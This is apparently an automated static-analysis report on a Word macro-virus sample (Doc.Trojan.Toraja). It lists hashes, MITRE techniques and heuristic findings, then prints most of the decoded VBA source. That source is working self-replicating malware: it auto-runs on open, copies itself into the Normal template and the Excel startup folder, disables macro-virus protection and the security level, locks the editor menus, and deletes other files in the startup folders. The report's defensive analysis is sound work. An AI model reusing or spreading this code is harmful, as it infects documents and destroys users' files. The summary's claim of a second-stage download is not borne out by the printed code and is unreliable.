Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8638b0709c506249…

MALICIOUS

Office (OLE)

96.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 94da333ee33f348ab5be2730e8add816 SHA-1: aed03b958744e0513c80fc08615efbb11059bdd6 SHA-256: 8638b0709c50624987485295e1b835d7c281ae86ae8bbfa647f945309d15c7c6
644 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and exhibits self-replication characteristics, indicating a malicious intent to execute arbitrary code. The presence of AutoOpen, Auto_Open, and Auto_Close macros, along with CreateObject and GetObject calls, strongly suggests the execution of a malicious script upon opening. The script itself appears to be designed to download and execute a second-stage payload, as evidenced by the truncated code and the heuristic firings related to macro execution and embedded artifacts. The ClamAV detection further confirms its malicious nature.

Heuristics 16

  • Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATION
    OLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
  • ClamAV: Doc.Trojan.Toraja-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Toraja-3
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    '        Application.OrganizerCopy Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", NormalTemplate.FullName, MacName & Ver, 3
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xlsApp = CreateObject("Excel.Application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set xlsApp = GetObject(, "Excel.Application")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    '    If RemStartUp(Application.StartupPath & Application.PathSeparator) = False Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. OLE file is 37,642 bytes but its declared streams total only 0 bytes — 37,642 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 102379 bytes
SHA-256: 9624fe52921e812cc7e6b45402ceb617a50b32c8394632828053b30938a2bde4
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Rem Created       : Toraja High Land 1998
'Rem Modified      : July 1999
'Rem --------------------------------------------------------------
'Option Explicit
'Option Compare Text
'Dim Komp As Variant, ctl
'Public Const regApp As String = "Application": Public Const regSecSet As String = "Settings": Public Const TempName As String = "Tana": Public Const MacName As String = "Toraja"
'Public Const fStartUp As String = "AutoStart": Public Const Ver As String = "01": Dim CusProp, actWindow
'Global Active, Temp, tempPath, AllActive, blnFound As Boolean, blnXls As Boolean, blnMod As Boolean
'Sub Register()
'On Error Resume Next
'If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")
'If GetSetting(regApp, regSecSet, "UserKeyWord") <> Ver & MacName Then SaveSetting regApp, regSecSet, "UserKeyWord", ""
'If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", ""
'End Sub
'Function Serang() As Boolean
'Dim getDate As Date
'On Error Resume Next
'getDate = GetSetting(regApp, regSecSet, "FirstRun")
'If Format(getDate, "dd-mm-yyyy") <= Format(Date, "dd-mm-yyyy") Then MsgBox "This command not available now.", 48
'End Function
'Sub AutoExec()
'On Error Resume Next
'Application.EnableCancelKey = 0
'RemStartUp Application.StartupPath & Application.PathSeparator
'If MacroContainer <> fStartUp & Ver & ".dot" Then
'    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 3
'    Application.DisplayRecentFiles = False
'    MenuWord
'    Register
'Else
'    KompProject fStartUp & Ver & ".dot", NormalTemplate, False
'    If blnMod = False Then
'        Application.OrganizerCopy Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", NormalTemplate.FullName, MacName & Ver, 3
'        NormalTemplate.Save
'    End If
'    WordBasic.DisableAutoMacros 1
'    AddIns.Unload False
'    WordBasic.DisableAutoMacros 0
'    TempActive
'End If
'End Sub
'Sub AutoNew()
'On Error Resume Next
'TempActive
'ActiveWindow.View.Type = 3
'End Sub
'Function RemStartUp(fPath) As Boolean
'On Error GoTo Salah
'blnXls = False: blnFound = False: blnMod = False
'If Dir(fPath, 16) <> "" Then
'  Komp = Dir(fPath, 0 Or 1 Or 2)
'  Do While Komp <> ""
'    If Komp = fStartUp & Ver & ".dot" Then blnMod = True: SetAttr fPath & Komp, 1
'    If Komp = fStartUp & Ver & ".dat" Then blnFound = True: SetAttr fPath & Komp, 1 + 2
'    If Komp = fStartUp & Ver & ".XLS" Then blnXls = True: SetAttr fPath & Komp, 1
'    If Komp <> "." And Komp <> ".." And Komp <> fStartUp & Ver & ".dot" And Komp <> fStartUp & Ver & ".dat" And _
'       Komp <> "MSCREATE.DIR" And Left(Komp, 2) <> "~$" And Komp <> fStartUp & Ver & ".XLS" Then _
'       SetAttr fPath & Komp, vbNormal: Kill fPath & Komp
'      Komp = Dir
'  Loop
'  If blnMod = True And blnFound = True Then RemStartUp = True
'End If
'Exit Function
'Salah:
'Resume Next
'End Function
'Sub AutoOpen()
'On Error Resume Next
'Dim strRun As String
'ActiveTemp
'RemoveAll
'MenuWord
'Register
'If blnFound = True Then
'   strRun = TempName & Ver & "." & MacName & Ver & ".FoundIt"
'   Application.OnTime Now + TimeValue("00:01:00"), strRun
'End If
'End Sub
'Sub AutoExit()
'On Error Resume Next
'Application.Visible = False
'Application.DisplayAlerts = 0
'If MacroContainer = "Normal.dot" Then
'    ExportXls
'    If RemStartUp(Application.StartupPath & Application.PathSeparator) = False Then
'        Documents.Add
'        ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", 0
'        ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dot", 1
'    End If
'End If
'End Sub
'Function KeyWord() As Boolean
'If GetSetting(regApp, regSecSet, "UserKeyWord") = Ver & MacName Then KeyWord = True
'End Function
'Sub FileOpen()
'On Error Resume Next
'WordBasic.DisableAutoMacros 1
'Dialogs(80).Show
'TempActive
'WordBasic.DisableAutoMacros 0
'End Sub
'Function KompProject(Asal, Tujuan, blnEIKMod As Boolean) As Boolean
'On Error GoTo Salah
'blnMod = False
'For Each Komp In Tujuan.VBProject.VBComponents
'   If (Komp.Name <> "ThisDocument") And (Komp.Name <> "Reference To Normal") And _
'      (Left(Komp.Name, 5) <> "Sheet") And (Komp.Name <> "ThisWorkbook") And (Left(Komp.Name, 5) <> "Chart") Then
'        If Komp.Name = MacName & Ver Then If Tujuan.VBProject.VBComponents(MacName & Ver).CodeModule.CountOfLines = _
'           Asal.VBProject.VBComponents(MacName & Ver).CodeModule.CountOfLines Then _
'            blnMod = True Else GoSub RemoveKomp Else GoSub RemoveKomp
'   End If
'Next Komp
'If blnEIKMod = True Then If blnMod = False Then If EIKModul(Asal, Tujuan, MacName & Ver) = True Then KompProject = True
'Salah:
'Exit Function
'RemoveKomp:
'Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name): KompProject = True: Return
'End Function
'Sub ThisDocNT()
'Dim VBCompNT
'On Error Resume Next
'Set VBCompNT = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule
'If VBCompNT.CountOfLines > 0 Then VBCompNT.DeleteLines 1, VBCompNT.CountOfLines
'End Sub
'Function RemoveAll() As Boolean
'On Error GoTo Salah
'Aplikasi
'For Each actWindow In AllActive
'    If actWindow.Name = fStartUp & Ver & ".XLS" Then RemoveAll = True
'    If actWindow.Name <> Active.Name Then
'        If KompProject(Active, actWindow, True) = True Then If Len(actWindow.Path) <> 0 Then actWindow.Save
'    End If
'Next actWindow
'Salah:
'End Function
'Function PrintOke() As Boolean
'Const CP = "cPrt"
'On Error GoTo Salah
'If KeyWord = True Or GetCreator = True Then
'    PrintOke = True
'Else
'    If CusProp.Item(CP).Value < 2 Then
'        CusProp.Item(CP).Value = CusProp.Item(CP).Value + 1
'        If Val(GetSetting(regApp, regSecSet, CP)) <= 15 Then SaveSetting regApp, regSecSet, CP, Val(GetSetting(regApp, regSecSet, CP)) + 1: PrintOke = True
'    End If
'End If
'Salah:
'End Function
'Sub FilePrint()
'On Error Resume Next
'If PrintOke = True Then Dialogs(88).Show Else If Dialogs(88).Display = -1 Then Serang
'End Sub
'Sub FilePrintDefault()
'FilePrint
'End Sub
'Sub ToolsCustomizeKeyboard()
'Serang
'End Sub
'Sub ViewCode()
'Serang
'End Sub
'Sub ViewVbCode()
'If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Mrs" Then Application.ShowVisualBasicEditor = True Else Serang
'End Sub
'Sub ToolsCustomize()
'Serang
'End Sub
'Sub FormatStyle()
'If KeyWord = True Then Dialogs(180).Show Else Serang
'End Sub
'Sub ToolsRecordMacroToggle()
'Serang
'End Sub
'Sub ToolsMacro()
'Serang
'End Sub
'Sub FileTemplates()
'Serang
'End Sub
'Private Sub ExportXls()
'Dim xlsApp
'Dim strFile As String
'On Error Resume Next
'Set xlsApp = GetObject(, "Excel.Application")
'If xlsApp Is Nothing Then
'    Set xlsApp = CreateObject("Excel.Application")
'    If Not xlsApp Is Nothing Then GoSub CheckXls:   xlsApp.Application.Quit
'Else
'    GoSub CheckXls
'End If
'Exit Sub
'CheckXls:
'     RemStartUp xlsApp.StartupPath & xlsApp.PathSeparator
'    If blnXls = False Then
'        xlsApp.Workbooks.Add
'        strFile = xlsApp.StartupPath & xlsApp.PathSeparator & fStartUp & Ver & ".XLS"
'        xlsApp.ActiveWorkbook.SaveAs strFile
'        tempPath = Application.NormalTemplate.Path & Application.PathSeparator
'        EIKModul NormalTemplate, xlsApp.Workbooks(fStartUp & Ver & ".XLS"), MacName & Ver
'        xlsApp.Workbooks(fStartUp & Ver & ".XLS").VBProject.Name = TempName & Ver
'        xlsApp.ActiveWindow.Visible = False
'        xlsApp.Workbooks(fStartUp & Ver & ".XLS").Save
'    End If
'Return
'End Sub
'Sub ExportDok()
'Dim dokApp
'On Error Resume Next
'Set dokApp = GetObject(, "Word.Application")
'If dokApp Is Nothing Then
'    Set dokApp = CreateObject("Word.Application")
'    If Not dokApp Is Nothing Then GoSub CheckDoc: dokApp.Application.Quit True
'Else
'    GoSub CheckDoc
'End If
'Exit Sub
'CheckDoc:
'tempPath = Application.TemplatesPath
'KompProject Workbooks(fStartUp & Ver & ".XLS"), dokApp.NormalTemplate, True
'RemStartUp dokApp.StartupPath & dokApp.PathSeparator
'Return
'End Sub
'Sub Auto_Open()
'On Error Resume Next
'Application.EnableCancelKey = 0
'If RemoveAll = False Then BuatXlsActive
'RemStartUp Application.StartupPath & Application.PathSeparator
'XlsActive
'If ActiveWorkbook.Name = fStartUp & Ver & ".XLS" Then ExportDok
'Register
'Application.DisplayRecentFiles = False
'End Sub
'Sub XlsActive()
'On Error Resume Next
'Application.DisplayAlerts = False
'CreateEvents
'TempActive
'Application.OnSheetActivate = "": Application.OnSheetDeactivate = "": Application.OnWindow = ""
'MenuExcel
'Application.OnWindow = fStartUp & Ver & ".XLS" & "!XlsActive"
'Application.DisplayAlerts = True
'End Sub
'Sub TempActive()
'On Error Resume Next
'Aplikasi
'If KompProject(Temp, Active, True) = True Then
'   SetCusProp
'   Active.VBProject.Name = MacName
'   If Len(Active.Path) <> 0 Then Active.Save
'End If
'End Sub
'Function EIKModul(Asal, Tujuan, Komp As String) As Boolean
'On Error GoTo Salah
'    Asal.VBProject.VBComponents(Komp).Export tempPath & Komp
'    Tujuan.VBProject.VBComponents.Import tempPath & Komp
'    EIKModul = True: Kill tempPath & Komp
'Salah:
'End Function
'Sub OpenFile()
'On Error Resume Next
'Application.DisplayAlerts = False
'Application.Dialogs(1).Show
'XlsActive
'End Sub
'Private Sub CreateEvents()
'Dim VBComp
'On Error GoTo Salah
'Lanjut:
'If ActiveWorkbook.CustomDocumentProperties.Item("Event").Value <> MacName & Ver And ActiveWorkbook.Name <> fStartUp & Ver & ".XLS" Then
'On Error GoTo FatalError
'    Set VBComp = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
'    With VBComp
'            .DeleteLines 1, .CountOfLines: .InsertLines 1, "Private Sub Workbook_BeforePrint(Cancel As Boolean)"
'            .InsertLines 2, "On Error Resume Next": .InsertLines 3, "If PrintOke = False Then Cancel = True": .InsertLines 4, "End Sub"
'    End With
'ActiveWorkbook.CustomDocumentProperties.Item("Event").Value = MacName & Ver
'End If
'FatalError:
'Exit Sub
'Salah:
'ActiveWorkbook.CustomDocumentProperties.Add ("Event"), False, 4, ""
'Resume Lanjut
'End Sub
'Sub BuatXlsActive()
'Dim Baru As String
'On Error Resume Next
'Application.ScreenUpdating = False
'Workbooks.Add
'Baru = Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".XLS"
'ActiveWorkbook.SaveAs Baru
'ActiveWindow.Visible = False
'ActiveTemp
'End Sub
'Sub ActiveTemp()
'On Error Resume Next
'Aplikasi
'If KompProject(Active, Temp, True) = True Then
'   Temp.VBProject.Name = TempName & Ver
'   Temp.Save
'   blnFound = True
'End If
'End Sub
'Sub MenuExcel()
'On Error Resume Next
'WordExcel
'CommandBars("Ply").Controls("View Code").Delete
'With Application
'    .OnKey "%{F11}", "Serang": .OnKey "%{F8}", "Serang": .OnKey "%{F2}", "Serang"
'    .OnKey "%{F4}", "Serang": .OnKey "{F12}", "Serang": .OnKey "^{o}", "OpenFile"
'End With
'CommandBars("Standard").Controls("Open").OnAction = "OpenFile"
'CommandBars("Worksheet Menu Bar").Controls("File").Controls("Open...").OnAction = "OpenFile"
'CommandBars("Worksheet Menu Bar").Controls("Window").Controls("Unhide...").Enabled = False
'End Sub
'Sub WordExcel()
'On Error Resume Next
'For Each ctl In CommandBars.ActiveMenuBar.Controls("Tools").Controls("Macro").Controls
'    ctl.OnAction = "Serang"
'Next ctl
'cmdBars CommandBars("Control Toolbox"), True: cmdBars CommandBars("Forms"), True: cmdBars CommandBars("ActiveX Control"), True
'cmdBars CommandBars("Visual Basic"), True: cmdBars CommandBars.ActiveMenuBar, False: cmdBars CommandBars("Formatting"), False
'cmdBars CommandBars("Standard"), False
'End Sub
'Sub cmdBars(cmd, blnVis As Boolean)
'With cmd
'If blnVis = True Then .Enabled = False: .Visible = False: .Protection = 8
'    .Protection = 1
'End With
'End Sub
'Sub MenuWord()
'On Error Resume Next
'CustomizationContext = NormalTemplate
'With Options
'    .VirusProtection = False: .SaveNormalPrompt = False: .SaveInterval = 0
'End With
'FindKey(BuildKeyCode(1024, 119)).Disable: FindKey(BuildKeyCode(1024, 112)).Disable
'WordExcel
'End Sub
'Sub SetCusProp()
'On Error Resume Next
'Set CusProp = Active.CustomDocumentProperties
'CusProp.Add "Author", False, 4, "": CusProp.Add "cPrt", False, 1, 0
'If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then CusProp.Item("Author").Value = "Lina"
'End Sub
'Function GetCreator() As Boolean
'On Error GoTo Salah
'Aplikasi
'Set CusProp = Active.CustomDocumentProperties
'If CusProp.Item("Author").Value = "Lina" Then GetCreator = True
'Salah:
'End Function
'Sub FoundIt()
'TempActive
'blnFound = False
'End Sub
'Function Tator() As Boolean
'If (KeyWord = False) And (GetCreator = False) Then Tator = True
'End Function
'Sub Aplikasi()
'If Application.Name = "Microsoft Word" Then Doc Else Xls
'End Sub
'Sub Doc()
'ThisDocNT
'CreateThisDocAD
'tempPath = Application.NormalTemplate.Path & Application.PathSeparator: Set Active = ActiveDocument: Set Temp = NormalTemplate: Set AllActive = Documents
'End Sub
'Sub Xls()
'Set Active = ActiveWorkbook: Set Temp = Workbooks(fStartUp & Ver & ".XLS"): tempPath = Application.TemplatesPath: Set AllActive = Workbooks
'End Sub
'Sub CreateThisDocAD()
'On Error GoTo Salah
'Dim i, VBCompNT, VBCompAD
'Dim sLine As String
'Set VBCompNT = NormalTemplate.VBProject.VBComponents(MacName & Ver).CodeModule
'Set VBCompAD = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule
'If VBCompNT.CountOfLines <> VBCompAD.CountOfLines - 1 Then
'    VBCompAD.DeleteLines 1, VBCompAD.CountOfLines
'    For i = 1 To VBCompNT.CountOfLines
'         sLine = VBCompNT.Lines(i, 1)
'        If Left(sLine, 1) = "'" Then VBCompAD.InsertLines i, Right(sLine, Len(sLine) - 1) Else VBCompAD.InsertLines i, "'" & sLine
'    Next i
'End If
'Salah:
'End Sub
Function CheckComp(Tujuan)
Dim i, x, VBComp
Dim sLine As String: Dim blnM As Boolean
Const mName = "Toraja01"
blnM = False
For Each VBComp In Tujuan.VBProject.VBComponents
   If VBComp.Name <> "ThisDocument" And VBComp.Name <> "Reference To Normal" Then
        If VBComp.Name = mName Then If Tujuan.VBProject.VBComponents(mName).CodeModule.CountOfLines = _
           ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines - 1 Then _
            blnM = True Else GoSub RemoveKomp Else GoSub RemoveKomp
   End If
Next VBComp
If blnM = False Then
x = Tujuan.VBProject.VBComponents.Count
Tujuan.VBProject.VBComponents.Add 1
Tujuan.VBProject.VBComponents(x + 1).Name = mName
Set VBComp = Tujuan.VBProject.VBComponents(mName).CodeModule
For i = 1 To ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
     sLine = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.Lines(i, 1)
     If Left(sLine, 1) = "'" Then VBComp.InsertLines i, Right(sLine, Len(sLine) - 1) Else VBComp.InsertLines i, "'" & sLine
Next i
If Len(Tujuan.Path) <> 0 Then Tujuan.Save
End If
Salah:
Exit Function
RemoveKomp:
Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(VBComp.Name): Return
End Function
Sub AutoClose()
On Error Resume Next
CheckComp NormalTemplate
CheckComp ActiveDocument
Application.Run "RemoveAll"
End Sub

'

'


Attribute VB_Name = "Toraja01"
Rem Created       : Toraja High Land 1998
Rem Modified      : July 1999
Rem --------------------------------------------------------------
Option Explicit
Option Compare Text
Dim Komp As Variant, ctl
Public Const regApp As String = "Application": Public Const regSecSet As String = "Settings": Public Const TempName As String = "Tana": Public Const MacName As String = "Toraja"
Public Const fStartUp As String = "AutoStart": Public Const Ver As String = "01": Dim CusProp, actWindow
Global Active, Temp, tempPath, AllActive, blnFound As Boolean, blnXls As Boolean, blnMod As Boolean
Sub Register()
On Error Resume Next
If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")
If GetSetting(regApp, regSecSet, "UserKeyWord") <> Ver & MacName Then SaveSetting regApp, regSecSet, "UserKeyWord", ""
If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", ""
End Sub
Function Serang() As Boolean
Dim getDate As Date
On Error Resume Next
getDate = GetSetting(regApp, regSecSet, "FirstRun")
If Format(getDate, "dd-mm-yyyy") <= Format(Date, "dd-mm-yyyy") Then MsgBox "This command not available now.", 48
End Function
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = 0
RemStartUp Application.StartupPath & Application.PathSeparator
If MacroContainer <> fStartUp & Ver & ".dot" Then
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 3
    Application.DisplayRecentFiles = False
    MenuWord
    Register
Else
    KompProject fStartUp & Ver & ".dot", NormalTemplate, False
    If blnMod = False Then
        Application.OrganizerCopy Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", NormalTemplate.FullName, MacName & Ver, 3
        NormalTemplate.Save
    End If
    WordBasic.DisableAutoMacros 1
    AddIns.Unload False
    WordBasic.DisableAutoMacros 0
    TempActive
End If
End Sub
Sub AutoNew()
On Error Resume Next
TempActive
ActiveWindow.View.Type = 3
End Sub
Function RemStartUp(fPath) As Boolean
On Error GoTo Salah
blnXls = False: blnFound = False: blnMod = False
If Dir(fPath, 16) <> "" Then
  Komp = Dir(fPath, 0 Or 1 Or 2)
  Do While Komp <> ""
    If Komp = fStartUp & Ver & ".dot" Then blnMod = True: SetAttr fPath & Komp, 1
    If Komp = fStartUp & Ver & ".dat" Then blnFound = True: SetAttr fPath & Komp, 1 + 2
    If Komp = fStartUp & Ver & ".XLS" Then blnXls = True: SetAttr fPath & Komp, 1
    If Komp <> "." And Komp <> ".." And Komp <> fStartUp & Ver & ".dot" And Komp <> fStartUp & Ver & ".dat" And _
       Komp <> "MSCREATE.DIR" And Left(Komp, 2) <> "~$" And Komp <> fStartUp & Ver & ".XLS" Then _
       SetAttr fPath & Komp, vbNormal: Kill fPath & Komp
      Komp = Dir
  Loop
  If blnMod = True And blnFound = True Then RemStartUp = True
End If
Exit Function
Salah:
Resume Next
End Function
Sub AutoOpen()
On Error Resume Next
Dim strRun As String
ActiveTemp
RemoveAll
MenuWord
Register
If blnFound = True Then
   strRun = TempName & Ver & "." & MacName & Ver & ".FoundIt"
   Application.OnTime Now + TimeValue("00:01:00"), strRun
End If
End Sub
Sub AutoExit()
On Error Resume Next
Application.Visible = False
Application.DisplayAlerts = 0
If MacroContainer = "Normal.dot" Then
    ExportXls
    If RemStartUp(Application.StartupPath & Application.PathSeparator) = False Then
        Documents.Add
        ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", 0
        ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dot", 1
    End If
End If
End Sub
Function KeyWord() As Boolean
If GetSetting(regApp, regSecSet, "UserKeyWord") = Ver & MacName Then KeyWord = True
End Function
Sub FileOpen()
On Error Resume Next
WordBasic.DisableAutoMacros 1
Dialogs(80).Show
TempActive
WordBasic.DisableAutoMacros 0
End Sub
Function KompProject(Asal, Tujuan, blnEIKMod As Boolean) As Boolean
On Error GoTo Salah
blnMod = False
For Each Komp In Tujuan.VBProject.VBComponents
   If (Komp.Name <> "ThisDocument") And (Komp.Name <> "Reference To Normal") And _
      (Left(Komp.Name, 5) <> "Sheet") And (Komp.Name <> "ThisWorkbook") And (Left(Komp.Name, 5) <> "Chart") Then
        If Komp.Name = MacName & Ver Then If Tujuan.VBProject.VBComponents(MacName & Ver).CodeModule.CountOfLines = _
           Asal.VBProject.VBComponents(MacName & Ver).CodeModule.CountOfLines Then _
            blnMod = True Else GoSub RemoveKomp Else GoSub RemoveKomp
   End If
Next Komp
If blnEIKMod = True Then If blnMod = False Then If EIKModul(Asal, Tujuan, MacName & Ver) = True Then KompProject = True
Salah:
Exit Function
RemoveKomp:
Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name): KompProject = True: Return
End Function
Sub ThisDocNT()
Dim VBCompNT
On Error Resume Next
Set VBCompNT = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule
If VBCompNT.CountOfLines > 0 Then VBCompNT.DeleteLines 1, VBCompNT.CountOfLines
End Sub
Function RemoveAll() As Boolean
On Error GoTo Salah
Aplikasi
For Each actWindow In AllActive
    If actWindow.Name = fStartUp & Ver & ".XLS" Then RemoveAll = True
    If actWindow.Name <> Active.Name Then
        If KompProject(Active, actWindow, True) = True Then If Len(actWindow.Path) <> 0 Then actWindow.Save
    End If
Next actWindow
Salah:
End Function
Function PrintOke() As Boolean
Const CP = "cPrt"
On Error GoTo Salah
If KeyWord = True Or GetCreator = True Then
    PrintOke = True
Else
    If CusProp.Item(CP).Value < 2 Then
        CusProp.Item(CP).Value = CusProp.Item(CP).Value + 1
        If Val(GetSetting(regApp, regSecSet, CP)) <= 15 Then SaveSetting regApp, regSecSet, CP, Val(GetSetting(regApp, regSecSet, CP)) + 1: PrintOke = True
    End If
End If
Salah:
End Function
Sub FilePrint()
On Error Resume Next
If PrintOke = True Then Dialogs(88).Show Else If Dialogs(88).Display = -1 Then Serang
End Sub
Sub FilePrintDefault()
FilePrint
End Sub
Sub ToolsCustomizeKeyboard()
Serang
End Sub
Sub ViewCode()
Serang
End Sub
Sub ViewVbCode()
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Mrs" Then Application.ShowVisualBasicEditor = True Else Serang
End Sub
Sub ToolsCustomize()
Serang
End Sub
Sub FormatStyle()
If KeyWord = True Then Dialogs(180).Show Else Serang
End Sub
Sub ToolsRecordMacroToggle()
Serang
End Sub
Sub ToolsMacro()
Serang
End Sub
Sub FileTemplates()
Serang
End Sub
Private Sub ExportXls()
Dim xlsApp
Dim strFile As String
On Error Resume Next
Set xlsApp = GetObject(, "Excel.Application")
If xlsApp Is Nothing Then
    Set xlsApp = CreateObject("Excel.Application")
    If Not xlsApp Is Nothing Then GoSub CheckXls:   xlsApp.Application.Quit
Else
    GoSub CheckXls
End If
Exit Sub
CheckXls:
     RemStartUp xlsApp.StartupPath & xlsApp.PathSeparator
    If blnXls = False Then
        xlsApp.Workbooks.Add
        strFile = xlsApp.StartupPath & xlsApp.PathSeparator & fStartUp & Ver & ".XLS"
        xlsApp.ActiveWorkbook.SaveAs strFile
        tempPath = Application.NormalTemplate.Path & Application.PathSeparator
        EIKModul NormalTemplate, xlsApp.Workbooks(fStartUp & Ver & ".XLS"), MacName & Ver
        xlsApp.Workbooks(fStartUp & Ver & ".XLS").VBProject.Name = TempName & Ver
        xlsApp.ActiveWindow.Visible = False
        xlsApp.Workbooks(fStartUp & Ver & ".XLS").Save
    End If
Return
End Sub
Sub ExportDok()
Dim dokApp
On Error Resume Next
Set dokApp = GetObject(, "Word.Application")
If dokApp Is Nothing Then
    Set dokApp = CreateObject("Word.Application")
    If Not dokApp Is Nothing Then GoSub CheckDoc: dokApp.Application.Quit True
Else
    GoSub CheckDoc
End If
Exit Sub
CheckDoc:
tempPath = Application.TemplatesPath
KompProject Workbooks(fStartUp & Ver & ".XLS"), dokApp.NormalTemplate, True
RemStartUp dokApp.StartupPath & dokApp.PathSeparator
Return
End Sub
Sub Auto_Open()
On Error Resume Next
Application.EnableCancelKey = 0
If RemoveAll = False Then BuatXlsActive
RemStartUp Application.StartupPath & Application.PathSeparator
XlsActive
If ActiveWorkbook.Name = fStartUp & Ver & ".XLS" Then ExportDok
Register
